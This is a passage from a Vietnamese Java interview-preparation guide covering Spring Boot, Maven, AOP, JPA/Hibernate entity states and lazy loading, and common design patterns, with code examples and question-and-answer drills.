@PathVariable lấy giá trị nằm trong đường dẫn và thường dùng để định danh một tài nguyên; @RequestParam lấy giá trị từ query string và dùng cho lọc, sắp xếp, phân trang. GET /api/employees/5 đọc nhân viên số 5, id là một phần địa chỉ của tài nguyên. GET /api/employees?department=IT&page=0 là danh sách với điều kiện tùy chọn, có thể bỏ trống và có giá trị mặc định. @RequestParam mặc định là bắt buộc: thiếu tham số thì trả 400, trừ khi đặt required = false hoặc defaultValue.
Câu hỏi (Đọc code): Với code CRUD ở trên, gọi POST /api/employees với body {"fullName": "  ", "email": "x@corp.vn", "salary": 100} thì nhận về gì?
	{"fullName": "  ", "email": "x@corp.vn", "salary": 100}



Đáp án:
400 Bad Request, method create trong service không chạy. @NotBlank từ chối chuỗi chỉ có khoảng trắng (khác @NotEmpty chỉ từ chối chuỗi rỗng). Vì controller có @Valid, Spring kiểm tra trước khi gọi method, ném MethodArgumentNotValidException, Spring Boot trả 400. Nếu xóa @Valid, request sẽ đi thẳng vào service và nhân viên tên "  " được lưu với 201.
Câu hỏi (Thực chiến): Vì sao dự án thật không nên trả thẳng entity ra API?
Vì entity gắn với cấu trúc DB, còn API là hợp đồng với client; trộn hai thứ làm lộ dữ liệu, gây lỗi Jackson và khiến mỗi lần sửa DB thành sửa API. Cụ thể: entity có thể chứa field nhạy cảm (mật khẩu đã băm, lương) bị trả ra theo; Jackson serialize quan hệ LAZY có thể gây LazyInitializationException hoặc truy vấn thừa (N2.11); quan hệ hai chiều Department ↔ Employee làm Jackson đệ quy vô hạn; đổi tên cột là client vỡ. Dùng DTO (thường là record) để quyết định chính xác field nào đi ra.
Câu hỏi (Đọc code): Đoạn service dưới thiếu gì mà dữ liệu bị "nửa vời" khi lỗi?
	@Service
public class PayrollService {
    private final EmployeeRepository repo;
    public PayrollService(EmployeeRepository repo) { this.repo = repo; }
 
    public void raiseAll(List<Long> ids) {                 // no @Transactional
        for (Long id : ids) {
            Employee e = repo.findById(id).orElseThrow();  // throws for a missing id
            e.setSalary(e.getSalary().add(BigDecimal.valueOf(100)));
            repo.save(e);
        }
    }
}



Đáp án:
Thiếu @Transactional, nên mỗi save là một transaction riêng; gặp id không tồn tại ở giữa danh sách thì những người trước đã được tăng lương, những người sau thì không. Đây đúng là bản Java của kịch bản chuyển tiền sai ở N2.4. Thêm @Transactional lên method: toàn bộ vòng lặp thành một transaction, exception làm rollback tất cả. Khi đã có @Transactional, entity load ra là managed nên thậm chí không cần gọi save, dirty checking tự sinh UPDATE (N2.11).
N2.9 Spring Boot và Maven
Spring Boot không thay thế Spring mà là lớp tiện ích bên trên: starter gom sẵn dependency với phiên bản tương thích, auto-configuration tự tạo bean theo thư viện có trong classpath (thấy data-jpa thì tự tạo DataSource, EntityManagerFactory), Tomcat nhúng để chạy bằng java -jar thay vì deploy WAR. Spring Boot 3 yêu cầu Java 17 trở lên. Dependency khai báo trong pom.xml:
Giải nghĩa vài từ: dependency ở đây là thư viện bên ngoài mà dự án cần (Spring, Jackson, driver MySQL), đóng gói dưới dạng file .jar. Classpath là danh sách các file .jar và thư mục class mà JVM được phép nạp khi chạy. Maven là công cụ tự tải dependency từ kho trung tâm (Maven Central) về máy, đưa vào classpath, rồi biên dịch, chạy test, đóng gói. Không có Maven, bạn phải tự tải từng file .jar và tự tìm phiên bản tương thích nhau, gồm cả hàng chục thư viện mà các thư viện đó lại cần.
	<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>3.3.4</version>                       <!-- pins the version for every starter -->
</parent>
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>com.mysql</groupId>
        <artifactId>mysql-connector-j</artifactId>
        <scope>runtime</scope>                      <!-- needed only at runtime -->
    </dependency>
</dependencies>



Giải thích: mỗi dependency định danh bằng groupId:artifactId:version; parent đã chốt phiên bản nên starter không cần ghi version. scope: compile (mặc định), provided (môi trường chạy tự cung cấp), runtime (chỉ khi chạy), test (chỉ khi test). mvn clean package xóa target, biên dịch, chạy test, đóng gói target/*.jar; mvn clean install chép thêm vào kho local ~/.m2. Gradle tương đương: ./gradlew build.
Một starter kéo theo rất nhiều thư viện. Lệnh mvn dependency:tree cho bạn thấy cây phụ thuộc thật; output dưới rút gọn, số phiên bản tùy bản Spring Boot:
	mvn dependency:tree
# [INFO] com.corp:employee-service:jar:1.0.0
# [INFO] +- org.springframework.boot:spring-boot-starter-web:jar:3.3.4:compile
# [INFO] |  +- org.springframework.boot:spring-boot-starter-json:jar:3.3.4:compile
# [INFO] |  |  \- com.fasterxml.jackson.core:jackson-databind:jar:2.17.2:compile
# [INFO] |  +- org.springframework.boot:spring-boot-starter-tomcat:jar:3.3.4:compile
# [INFO] |  \- org.springframework:spring-webmvc:jar:6.1.13:compile
# [INFO] \- com.mysql:mysql-connector-j:jar:8.3.0:runtime



Giải thích: bạn chỉ khai báo hai dependency, nhưng starter-web kéo theo Jackson (chuyển JSON), Tomcat nhúng và Spring MVC; đó là các transitive dependency (phụ thuộc bắc cầu). Nhờ có Tomcat trong classpath mà auto-configuration biết cần khởi động web server; nhờ có Jackson mà controller trả JSON được. Lệnh này cũng là công cụ đầu tiên khi gặp xung đột phiên bản, ví dụ hai thư viện kéo về hai bản Jackson khác nhau và ứng dụng ném NoSuchMethodError lúc chạy.
Câu hỏi (Cơ bản): Spring khác Spring Boot thế nào?
Spring là framework lõi (IoC container, MVC, transaction, data access); Spring Boot là lớp tiện ích bên trên giúp dựng ứng dụng Spring nhanh bằng starter, auto-configuration và server nhúng. Không có Boot, bạn tự chọn phiên bản từng thư viện, tự khai báo DataSource, DispatcherServlet, tự cài Tomcat rồi deploy file WAR. Với Boot, thêm spring-boot-starter-data-jpa và vài dòng spring.datasource.* là có sẵn kết nối DB, chạy bằng java -jar. Boot không che mất Spring: mọi bean tự tạo đều có thể ghi đè bằng bean của bạn.
Câu hỏi (Hiểu sâu): Auto-configuration biết tạo bean nào bằng cách nào?
Nó nhìn vào classpath và cấu hình hiện có: mỗi class auto-configuration có các điều kiện @ConditionalOn..., chỉ tạo bean khi điều kiện đúng. Ví dụ cấu hình DataSource chỉ chạy khi có class DataSource và driver JDBC trong classpath (@ConditionalOnClass), và chỉ tạo bean nếu bạn chưa tự khai báo DataSource (@ConditionalOnMissingBean). Vì vậy thêm dependency data-jpa mà chưa cấu hình URL DB thì ứng dụng báo Failed to configure a DataSource: 'url' attribute is not specified. Chạy với --debug sẽ in báo cáo cấu hình nào được bật, cấu hình nào bị bỏ và vì sao.
Câu hỏi (Cơ bản): Scope provided và runtime khác nhau thế nào? Cho ví dụ.
provided là cần khi biên dịch nhưng môi trường chạy tự có sẵn nên không đóng gói; runtime là không cần khi biên dịch nhưng phải có khi chạy. Ví dụ provided: jakarta.servlet-api khi deploy WAR lên Tomcat ngoài, vì Tomcat đã có thư viện servlet; Lombok cũng hay khai báo provided vì chỉ dùng lúc biên dịch. Ví dụ runtime: driver mysql-connector-j, vì code chỉ dùng interface JDBC chuẩn, driver cụ thể chỉ cần khi thật sự kết nối DB.
N2.10 AOP cơ bản
AOP tách logic cắt ngang nhiều nơi (logging, đo thời gian, transaction, phân quyền) ra khỏi code nghiệp vụ. Aspect là class chứa logic đó. Join point là điểm có thể chèn logic; với Spring AOP luôn là lời gọi method. Pointcut là biểu thức chọn ra những join point được áp dụng. Advice là đoạn code chạy tại join point: @Before, @AfterReturning, @AfterThrowing, @After, @Around. Ví dụ đo thời gian mọi method trong tầng service (cần spring-boot-starter-aop):
Vì sao cần AOP? Giả sử bạn muốn đo thời gian chạy của 50 method service. Cách thủ công là chép cùng một đoạn long start = ...; try { ... } finally { log... } vào cả 50 method: code nghiệp vụ bị lẫn với code đo đạc, và quên một chỗ là mất số liệu. "Cắt ngang" (cross-cutting) nghĩa là logic này cắt qua mọi tầng, mọi class, không thuộc về riêng nghiệp vụ nào. AOP cho phép viết nó một lần rồi khai báo "áp dụng cho các method nào".
	@Aspect
@Component
public class TimingAspect {
    private static final Logger log = LoggerFactory.getLogger(TimingAspect.class);
 
    @Around("execution(public * com.corp.hr.service..*(..))")   // pointcut: public methods in the service package
    public Object measure(ProceedingJoinPoint pjp) throws Throwable {
        long start = System.currentTimeMillis();
        try {
            return pjp.proceed();                                  // call the real method
        } finally {
            log.info("{} chạy {} ms", pjp.getSignature().toShortString(),
                     System.currentTimeMillis() - start);
        }
    }
}



Giải thích: controller gọi EmployeeService.create(...) thực chất là gọi proxy; proxy chạy advice, advice gọi pjp.proceed() để chạy method thật rồi log EmployeeService.create(..) chạy 12 ms. EmployeeService không hề biết có logging. Vì dựa trên proxy, lời gọi nội bộ this.otherMethod() không đi qua aspect, cũng là lý do @Transactional mất tác dụng khi tự gọi (Chương 4). Spring dùng chính AOP cho @Transactional, @Cacheable, @Async.
Proxy là gì: tự làm bằng Java thuần
Từ "proxy" xuất hiện ở trên rất nhiều lần. Proxy là một object "đứng thay" cho object thật: có cùng các method, bên gọi tưởng đang gọi object thật, nhưng proxy được chen code trước và sau rồi mới chuyển lời gọi tới object thật. JDK có sẵn java.lang.reflect.Proxy để tạo proxy cho một interface; đoạn dưới chạy được không cần Spring:
	import java.lang.reflect.Proxy;
 
interface GreetingService { String hello(String name); }
 
class GreetingServiceImpl implements GreetingService {
    public String hello(String name) { return "Hello " + name; }
}
 
public class ProxyDemo {
    public static void main(String[] args) {
        GreetingService target = new GreetingServiceImpl();
        GreetingService proxy = (GreetingService) Proxy.newProxyInstance(
            GreetingService.class.getClassLoader(),
            new Class<?>[]{GreetingService.class},
            (p, method, params) -> {
                System.out.println("before " + method.getName());   // advice before
                Object result = method.invoke(target, params);       // like pjp.proceed()
                System.out.println("after " + method.getName());    // advice after
                return result;
            });
        System.out.println(proxy.hello("An"));
        // prints: before hello | after hello | Hello An
    }
}



Giải thích: chương trình in ba dòng before hello, after hello, Hello An. Bên gọi dùng proxy như một GreetingService bình thường; lambda ở giữa đóng vai advice @Around, method.invoke(target, ...) đóng vai pjp.proceed(). Spring AOP tạo đúng loại object này (với class không có interface thì dùng thư viện CGLIB để tạo class con). Điều quan trọng: chỉ lời gọi đi qua biến proxy mới có advice; nếu bên trong GreetingServiceImpl một method gọi this.hello(...) thì this là object thật, không có "before/after". Đó là gốc của lỗi self-invocation.
Câu hỏi (Cơ bản): Giải thích aspect, join point, pointcut, advice qua một ví dụ.
Lấy ví dụ ghi log thời gian chạy của tầng service: aspect là class TimingAspect, advice là method measure chạy quanh lời gọi, pointcut là biểu thức execution(public * com.corp.hr.service..*(..)) chọn method nào bị áp dụng, và mỗi lần gọi EmployeeService.create(...) là một join point. Một câu dễ nhớ: aspect là "cái gì" (module), advice là "làm gì, lúc nào" (trước, sau, bao quanh), pointcut là "ở đâu".
Câu hỏi (Đọc code): report() được controller gọi. Log thời gian của TimingAspect in ra cho những method nào?
	@Service
public class ReportService {
    public String report() {
        return "R:" + this.buildBody();    // self-invocation
    }
    public String buildBody() {
        return "body";
    }
}



Đáp án:
Chỉ report() được log, buildBody() thì không, dù cả hai đều public trong package service. Controller giữ tham chiếu tới proxy nên lời gọi report() đi qua advice. Bên trong, this.buildBody() gọi thẳng trên object thật, không qua proxy, nên aspect không chạy. Cùng cơ chế làm @Transactional hoặc @Cacheable trên buildBody() mất tác dụng khi được gọi từ report(). Cách sửa phổ biến: tách buildBody() sang một bean khác và inject vào.
Câu hỏi (Hiểu sâu): @Around khác @Before thế nào? Khi nào bắt buộc dùng @Around?
@Before chỉ chạy trước method và không điều khiển được lời gọi; @Around bao quanh, tự quyết định có gọi proceed() hay không, đọc và sửa được giá trị trả về. Cần @Around khi phải làm việc ở cả hai phía (đo thời gian, mở và đóng transaction), khi muốn chặn không cho method chạy (kiểm tra quyền, trả kết quả từ cache), hoặc khi muốn thử lại. Chỉ ghi log tham số thì @Before đủ và an toàn hơn, vì với @Around quên gọi proceed() là method thật không bao giờ chạy và trả về null.
N2.11 JPA và Hibernate cơ bản
ORM map class với bảng, object với dòng, để thao tác bằng object thay vì viết SQL và đọc ResultSet bằng tay. Lợi ích: ít code lặp, tương đối độc lập DB, có dirty checking, cache. Nhược điểm: SQL bị che nên dễ dính N+1, báo cáo phức tạp vẫn nên viết SQL. JPA là đặc tả (interface, annotation); Hibernate là implementation phổ biến nhất; Spring Data JPA nằm trên cùng, sinh repository từ interface.
ORM qua ví dụ mapping bảng và class
ORM (Object-Relational Mapping, ánh xạ đối tượng – quan hệ) giải quyết một chuyện: Java nghĩ bằng object, DB nghĩ bằng bảng. Bảng employees ở N2.1 và class Employee ở N2.8 đối chiếu như sau:
	Phía DB
	Phía Java
	Annotation nối hai bên

	Bảng employees
	Class Employee
	@Entity, @Table(name = "employees")

	Một dòng (An, 2000, phòng 1)
	Một object Employee
	Hibernate tạo object từ dòng

	Cột full_name
	Field fullName
	@Column(name = "full_name")

	Khóa chính id
	Field id
	@Id, @GeneratedValue

	Khóa ngoại department_id
	Field Department department
	@ManyToOne, @JoinColumn



Không có ORM, mỗi truy vấn bạn phải tự viết SQL và tự chép từng cột sang field, như đoạn JDBC dưới:
	import java.math.BigDecimal;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
 
record EmployeeRow(long id, String fullName, BigDecimal salary) {}
 
class JdbcEmployeeDao {
    EmployeeRow findById(Connection conn, long id) throws SQLException {
        String sql = "SELECT id, full_name, salary FROM employees WHERE id = ?";
        try (PreparedStatement ps = conn.prepareStatement(sql)) {
            ps.setLong(1, id);
            try (ResultSet rs = ps.executeQuery()) {
                if (!rs.next()) return null;                     // no such row
                return new EmployeeRow(rs.getLong("id"),         // copy column -> field by hand
                                       rs.getString("full_name"),
                                       rs.getBigDecimal("salary"));
            }
        }
    }
}



Giải thích: mười mấy dòng cho một truy vấn đơn giản, và phải lặp lại cho mọi bảng, mọi truy vấn; thêm một cột là phải sửa SQL và code chép dữ liệu ở mọi nơi. Với JPA, việc đó thu gọn thành repo.findById(id): Hibernate đọc annotation, tự sinh SELECT, tự tạo object Employee và gán field. Cái giá là bạn không còn nhìn thấy SQL, nên phải bật log SQL (spring.jpa.show-sql=true hoặc logger org.hibernate.SQL) để biết Hibernate thực sự chạy gì.
	NHẮC LẠI KIẾN THỨC
Hibernate tạo object entity từ dòng DB bằng reflection: gọi constructor không tham số rồi gán từng field. Compiler chỉ tự sinh constructor rỗng khi class không khai báo constructor nào (xem N1.4); entity có constructor Employee(String, String, BigDecimal) thì phải tự viết thêm constructor rỗng.



Đây là quy tắc "phải có constructor rỗng" dạng sai và sửa:
	@Entity
public class Employee {
    @Id @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String fullName;
 
    public Employee(String fullName) { this.fullName = fullName; }  // only constructor: no no-arg one
}
 
// Fix: add a no-arg constructor; protected keeps other code from calling it by mistake
// protected Employee() {}



Giải thích: lưu (persist) vẫn chạy vì object do bạn tự new, nhưng lần đầu đọc từ DB (findById, findAll) Hibernate cần tự tạo object và ném lỗi dạng org.hibernate.InstantiationException: No default constructor for entity. Tùy phiên bản, lỗi có thể lộ ngay lúc khởi động. Sửa bằng một constructor không tham số public hoặc protected (JPA cho phép cả hai, không được private); chọn protected để code nghiệp vụ không vô tình tạo entity rỗng. Lombok thì dùng @NoArgsConstructor(access = AccessLevel.PROTECTED).
Bên nào giữ cột khóa ngoại là owning side của quan hệ.
	@Entity
public class Department {
    @Id @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
 
    @OneToMany(mappedBy = "department")      // inverse side: points to field "department" of Employee
    private List<Employee> employees = new ArrayList<>();
}
 
@Entity
public class Employee {
    @Id @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
 
    @ManyToOne(fetch = FetchType.LAZY)       // default is EAGER, switch to LAZY
    @JoinColumn(name = "department_id")      // owning side: the FK column lives in table employees
    private Department department;
}



Giải thích: Hibernate dựa vào Employee.department để ghi cột department_id; Department.employees có mappedBy chỉ để đọc ngược, nên chỉ thêm nhân viên vào list mà không setDepartment(...) thì cột FK không đổi. @ManyToMany dùng bảng trung gian qua @JoinTable; bảng trung gian có thêm cột thì map thành entity riêng. Fetch mặc định: @ManyToOne, @OneToOne là EAGER; @OneToMany, @ManyToMany là LAZY. LAZY chỉ tải khi truy cập (qua proxy), EAGER tải ngay; nên để mọi quan hệ LAZY và chủ động tải khi cần.
Lazy và eager nhìn qua câu SQL Hibernate sinh ra
"Tải ngay" và "tải khi truy cập" trở nên cụ thể khi bạn bật log SQL và gọi employeeRepository.findById(1L) rồi e.getDepartment().getName(). Câu SQL dưới là dạng Hibernate 6 sinh ra, đã rút gọn danh sách cột:
	-- EAGER (@ManyToOne default): one query with a join, department loaded immediately
select e1_0.id, e1_0.full_name, d1_0.id, d1_0.name
from employees e1_0
left join departments d1_0 on d1_0.id = e1_0.department_id
where e1_0.id = ?;
 
-- LAZY: first query reads only employees, department is a proxy holding id = 1
select e1_0.id, e1_0.full_name, e1_0.department_id
from employees e1_0
where e1_0.id = ?;
-- ...then, only when getName() is called:
select d1_0.id, d1_0.name from departments d1_0 where d1_0.id = ?;



Giải thích: với EAGER, một câu có JOIN lấy luôn phòng ban, dù bạn có dùng tới phòng ban hay không. Với LAZY, câu đầu chỉ đọc bảng employees; field department là một proxy, object giả chỉ biết id = 1. Câu thứ hai chỉ chạy khi bạn thật sự gọi method cần dữ liệu (getName()), và phải chạy khi persistence context còn mở. EAGER nghe tiện nhưng nguy hiểm: findAll() trả 100 nhân viên có thể kéo theo thêm các câu SELECT phòng ban, và bạn không tắt được ở chỗ không cần. LAZY cho bạn quyền chọn: cần thì JOIN FETCH, không cần thì không tốn gì.
Ngoài derived query, @Query cho viết JPQL trên entity và field Java, Hibernate dịch sang SQL của DB đang dùng: @Query("SELECT e FROM Employee e JOIN FETCH e.department WHERE e.salary > :min"). Chú ý đây là Employee, e.salary (class, field), không phải employees, salary (bảng, cột). Native query (@Query(value = "SELECT * FROM employees ...", nativeQuery = true)) viết trên bảng thật, dùng được hàm riêng của DB nhưng gắn chặt với DB đó.
Entity có bốn trạng thái:
1. Transient: vừa new, Hibernate chưa biết tới.
1. Managed (persistent): nằm trong persistence context sau persist hoặc khi được load trong transaction; gọi setSalary(...) mà không cần save, lúc commit Hibernate so với bản chụp ban đầu và tự sinh UPDATE (dirty checking).
1. Detached: từng managed nhưng context đã đóng; sửa không tự lưu, muốn lưu phải merge.
1. Removed: đã gọi remove, câu DELETE chạy lúc flush/commit.
Persistence context xuất hiện nhiều lần ở trên: hiểu đơn giản, đó là "cuốn sổ" Hibernate mở ra cho mỗi transaction, ghi lại mọi entity đã load hoặc đã lưu cùng bản chụp giá trị ban đầu của chúng. Trong Spring, sổ được mở khi method @Transactional bắt đầu và đóng khi method kết thúc. Entity nằm trong sổ là managed; sổ đóng lại thì các entity đó thành detached.
findById truy vấn ngay và trả Optional.empty() nếu không có (tương ứng find của JPA, get của Hibernate). getReferenceById trả proxy chưa truy vấn, chỉ ném exception khi truy cập field mà dòng không tồn tại (tương ứng getReference; Session.load() đã deprecated từ Hibernate 6). Nó hữu ích khi chỉ cần gán quan hệ mà không muốn SELECT: employee.setDepartment(deptRepo.getReferenceById(1L)).
LazyInitializationException xảy ra khi truy cập quan hệ LAZY chưa tải sau khi persistence context đã đóng.
	// Runs in a scheduled job, WITHOUT @Transactional
public String deptNameOf(Long id) {
    Employee e = employeeRepository.findById(id).orElseThrow(); // findById's own transaction is already closed
    return e.getDepartment().getName();   // LAZY proxy: throws LazyInitializationException
}



Giải thích: khi findById trả về, e đã detached và department chỉ là proxy; getName() cần truy vấn DB nhưng không còn session. Cách sửa: đặt @Transactional(readOnly = true) lên method, tải sẵn bằng JOIN FETCH/@EntityGraph, hoặc truy vấn thẳng ra DTO. Trong web request lỗi này thường bị che vì Spring Boot bật mặc định spring.jpa.open-in-view; vì sao không nên dựa vào nó và vấn đề N+1 ở Chương 6.
LazyInitializationException theo từng bước
Diễn lại đoạn code trên theo thứ tự thời gian, với id = 1 (An, phòng IT):
1. deptNameOf(1) bắt đầu. Method không có @Transactional nên chưa có persistence context nào.
1. findById(1) là method của Spring Data, tự có transaction riêng: mở sổ, chạy select ... from employees where id = ?, tạo object An, field department là proxy chỉ chứa id = 1.
1. findById trả về, transaction của nó commit và đóng sổ. An giờ là detached, proxy phòng ban mất đường liên lạc với DB.
1. e.getDepartment() trả proxy, chưa có gì xảy ra vì lấy proxy không cần DB.
1. .getName() cần dữ liệu thật, proxy cố chạy select ... from departments where id = ? nhưng không còn session, ném org.hibernate.LazyInitializationException: could not initialize proxy [com.corp.hr.Department#1] - no Session.
Bản sửa đơn giản nhất cho trường hợp này là giữ sổ mở trong suốt method:
	@Transactional(readOnly = true)           // one persistence context for the whole method
public String deptNameOf(Long id) {
    Employee e = employeeRepository.findById(id).orElseThrow(); // joins this transaction
    return e.getDepartment().getName();   // proxy loads via a second SELECT: "IT"
}



Giải thích: giờ bước 3 không đóng sổ nữa, vì findById tham gia vào transaction đang có của deptNameOf. Ở bước 5 proxy chạy được câu SELECT thứ hai và trả "IT". Nếu biết trước chắc chắn cần phòng ban, dùng @Query với JOIN FETCH để lấy cả hai trong một câu, tránh thêm một vòng đi DB.
Câu hỏi (Cơ bản): Hibernate có mấy cấp cache?
Cache cấp 1 gắn với persistence context, luôn bật: trong cùng transaction, find cùng id hai lần chỉ truy vấn một lần. Cache cấp 2 dùng chung toàn ứng dụng, mặc định tắt, cần provider (Ehcache, Infinispan) và chỉ hợp với dữ liệu ít thay đổi.
Câu hỏi (Cơ bản): JPA, Hibernate và Spring Data JPA khác nhau thế nào?
JPA là bản đặc tả (các interface và annotation như @Entity, EntityManager), Hibernate là thư viện cài đặt đặc tả đó, Spring Data JPA là lớp trên cùng tự sinh repository từ interface. So sánh: JPA giống bộ luật giao thông, Hibernate là chiếc xe chạy theo luật, Spring Data JPA là tài xế đưa bạn đi chỉ cần nói điểm đến (findByEmail). Code dùng annotation jakarta.persistence về lý thuyết đổi được sang implementation khác (EclipseLink), còn khi dùng API riêng của Hibernate (Session) thì gắn chặt với Hibernate.
Câu hỏi (Đọc code): Method dưới chạy mấy câu SQL, và lương của An sau cùng là bao nhiêu?
	@Transactional
public void raise() {
    Employee a = employeeRepository.findById(1L).orElseThrow();
    Employee b = employeeRepository.findById(1L).orElseThrow();
    a.setSalary(new BigDecimal("2500"));
    System.out.println(a == b);
}



Đáp án:
Chạy hai câu SQL: một SELECT và một UPDATE; in true; lương An sau commit là 2500 dù không gọi save. Lần findById thứ hai tìm thấy An trong persistence context (cache cấp 1) nên không truy vấn lại và trả đúng object cũ, vì thế a == b. a đang managed, nên khi method kết thúc và transaction commit, dirty checking so với bản chụp, thấy salary đổi và tự sinh UPDATE employees set ... where id = ?. Bỏ @Transactional thì hai findById chạy hai SELECT, a == b là false, và thay đổi lương không được lưu.
Câu hỏi (Đọc code): Đoạn dưới chuyển Chi sang phòng IT nhưng DB không đổi. Vì sao?
	@Transactional
public void moveToIt(Long empId) {
    Department it = departmentRepository.findById(1L).orElseThrow();
    Employee chi = employeeRepository.findById(empId).orElseThrow();
    it.getEmployees().add(chi);           // only the inverse side is updated
}



Đáp án:
Code chỉ sửa phía nghịch Department.employees (có mappedBy), còn Hibernate chỉ đọc phía owning Employee.department để ghi cột department_id. Transaction commit, Hibernate không thấy owning side đổi nên không sinh UPDATE nào. Sửa: gọi chi.setDepartment(it). Thực tế nên viết helper addEmployee(Employee e) trong Department cập nhật cả hai phía (employees.add(e); e.setDepartment(this);) để object trong bộ nhớ và DB luôn khớp.
Câu hỏi (Thực chiến): Endpoint trả danh sách nhân viên kèm tên phòng chạy tốt khi test, lên production thì log có hàng trăm câu select ... from departments where id = ? cho một request. Chuyện gì xảy ra?
Đây là N+1 query: một câu lấy N nhân viên, rồi mỗi lần truy cập getDepartment().getName() trên từng nhân viên sinh thêm một câu SELECT phòng ban. Dữ liệu test ít nên không nhận ra; production có hàng trăm dòng là hàng trăm vòng đi DB. Nó "chạy được" chứ không ném LazyInitializationException vì open-in-view giữ session mở tới lúc Jackson serialize. Sửa: viết @Query("SELECT e FROM Employee e JOIN FETCH e.department") hoặc @EntityGraph(attributePaths = "department") để lấy cả hai trong một câu, hoặc truy vấn thẳng ra DTO. Chi tiết N+1 và các cách đo ở Chương 6.
N2.12 Design pattern hay hỏi ở mức Fresher
Mỗi pattern bạn cần định nghĩa được, viết ví dụ ngắn và chỉ ra nơi gặp trong Java/Spring. Phân tích sâu ở Chương 10.
Design pattern (mẫu thiết kế) là lời giải đã được đặt tên cho một vấn đề thiết kế hay lặp lại. Giá trị lớn nhất của nó là tên gọi chung: nói "ở đây dùng Strategy" thì cả nhóm hiểu ngay cấu trúc, không cần vẽ lại. Người mới nên học theo câu hỏi "pattern này giải quyết vấn đề gì" trước, cấu trúc class sau.
	NHẮC LẠI KIẾN THỨC
Các pattern dưới dựa nhiều vào kiến thức Nền tảng 1: constructor private và biến static final (N1.3, N1.4) cho Singleton; interface và đa hình (N1.5, N1.7) cho Factory, Strategy; lambda và functional interface như Consumer (N1.15) cho Observer và Strategy viết gọn.



Singleton: đảm bảo class chỉ có một instance và một điểm truy cập toàn cục. Cách thread-safe gọn nhất (ngoài enum) là holder idiom.
	public final class IdGenerator {
    private long counter;
    private IdGenerator() {}                           // blocks new from outside
 
    private static class Holder {                      // loaded only when getInstance() is first called
        static final IdGenerator INSTANCE = new IdGenerator();
    }
    public static IdGenerator getInstance() { return Holder.INSTANCE; }
    public synchronized long next() { return ++counter; }
}



Giải thích: constructor private nên không ai new được; JVM chỉ nạp Holder khi getInstance() gọi lần đầu và đảm bảo khởi tạo class là thread-safe, nên có lazy loading mà không cần khóa. Gặp trong Runtime.getRuntime(). Singleton bean của Spring khác: một instance mỗi container, không phải mỗi ClassLoader.
Factory: gom logic tạo object vào một chỗ, bên gọi chỉ nói cần loại gì.
	interface Notifier { String send(String msg); }
record EmailNotifier() implements Notifier { public String send(String m) { return "Email: " + m; } }
record SmsNotifier() implements Notifier { public String send(String m) { return "SMS: " + m; } }
 
final class NotifierFactory {
    static Notifier create(String channel) {
        return switch (channel) {                      // the ONLY place that knows concrete classes
            case "email" -> new EmailNotifier();
            case "sms" -> new SmsNotifier();
            default -> throw new IllegalArgumentException("Kênh không hỗ trợ: " + channel);
        };
    }
}



Giải thích: NotifierFactory.create("sms").send("Hi") trả SMS: Hi; thêm kênh mới chỉ sửa factory, nơi gọi giữ nguyên. Gặp trong List.of(), LocalDate.of(), NumberFormat.getInstance(); bản thân Spring là một factory lớn (BeanFactory, method @Bean).
Builder: tạo object nhiều tham số, nhất là tham số tùy chọn, bằng các lời gọi có tên.
	public record Email(String to, String subject) {
    public static class Builder {
        private String to, subject = "(không tiêu đề)";            // default value
        public Builder to(String v) { to = v; return this; }        // return this for chaining
        public Builder subject(String v) { subject = v; return this; }
        public Email build() {
            if (to == null) throw new IllegalStateException("Thiếu người nhận");
            return new Email(to, subject);
        }
    }
}



Giải thích: new Email.Builder().to("an@corp.vn").build() đọc là hiểu, field không gán lấy mặc định, và build() kiểm tra hợp lệ một lần trước khi tạo object bất biến. Gặp trong StringBuilder, HttpClient.newBuilder(), ResponseEntity.status(...).body(...), @Builder của Lombok.
Observer: một đối tượng phát sự kiện, nhiều đối tượng đăng ký nhận, hai bên không phụ thuộc trực tiếp.
	import java.util.ArrayList;
import java.util.List;
import java.util.function.Consumer;
 
public class EventBus {
    private final List<Consumer<String>> listeners = new ArrayList<>();
    public void subscribe(Consumer<String> l) { listeners.add(l); }
    public void publish(String event) { listeners.forEach(l -> l.accept(event)); }  // notify every listener
}



Giải thích: đăng ký hai listener (gửi email chào mừng, cấp tài khoản) rồi gọi bus.publish("An") thì cả hai cùng chạy. Bên phát không biết có bao nhiêu listener; thêm việc mới chỉ cần subscribe thêm. Trong Spring là ApplicationEventPublisher cùng @EventListener; lớp java.util.Observable cũ đã deprecated từ Java 9.
Đoạn dưới là bản chạy được của đúng tình huống vừa mô tả, gộp bus và hai listener vào một file:
	import java.util.ArrayList;
import java.util.List;
import java.util.function.Consumer;
 
public class EventBusDemo {
    private final List<Consumer<String>> listeners = new ArrayList<>();
    void subscribe(Consumer<String> l) { listeners.add(l); }
    void publish(String event) { listeners.forEach(l -> l.accept(event)); }
 
    public static void main(String[] args) {
        EventBusDemo bus = new EventBusDemo();
        bus.subscribe(name -> System.out.println("Send welcome email to " + name));
        bus.subscribe(name -> System.out.println("Create account for " + name));
        bus.publish("An");
        // prints: Send welcome email to An | Create account for An
    }
}



Giải thích: hai listener chạy theo thứ tự đăng ký, in hai dòng. Code gọi publish("An") (ví dụ service tuyển dụng) không hề biết có gửi email hay tạo tài khoản; thêm listener thứ ba "báo cho phòng IT cấp máy" không phải sửa dòng nào ở phía phát. Đây là Observer chạy đồng bộ trên cùng thread: listener đầu ném exception thì listener sau không chạy, điều mà @EventListener của Spring cũng giữ nguyên nếu không bật @Async.
Facade: một giao diện đơn giản che nhiều hệ thống con phía sau.
	class PayrollCalculator { long calc(long empId) { return 1500; } }
class PayslipRenderer { String render(long amount) { return "PDF " + amount; } }
class MailClient { void send(String to, String file) { System.out.println(to + " <- " + file); } }
 
public class PayrollFacade {
    public void sendPayslip(long empId, String email) {       // the caller needs just one method
        long amount = new PayrollCalculator().calc(empId);
        new MailClient().send(email, new PayslipRenderer().render(amount));
    }
}



Giải thích: controller gọi sendPayslip(1, "an@corp.vn") thay vì tự phối hợp ba class đúng thứ tự; đổi thư viện gửi mail chỉ ảnh hưởng bên trong facade. Gặp trong SLF4J (facade chung trên Logback, Log4j2) và JdbcTemplate che JDBC thô.
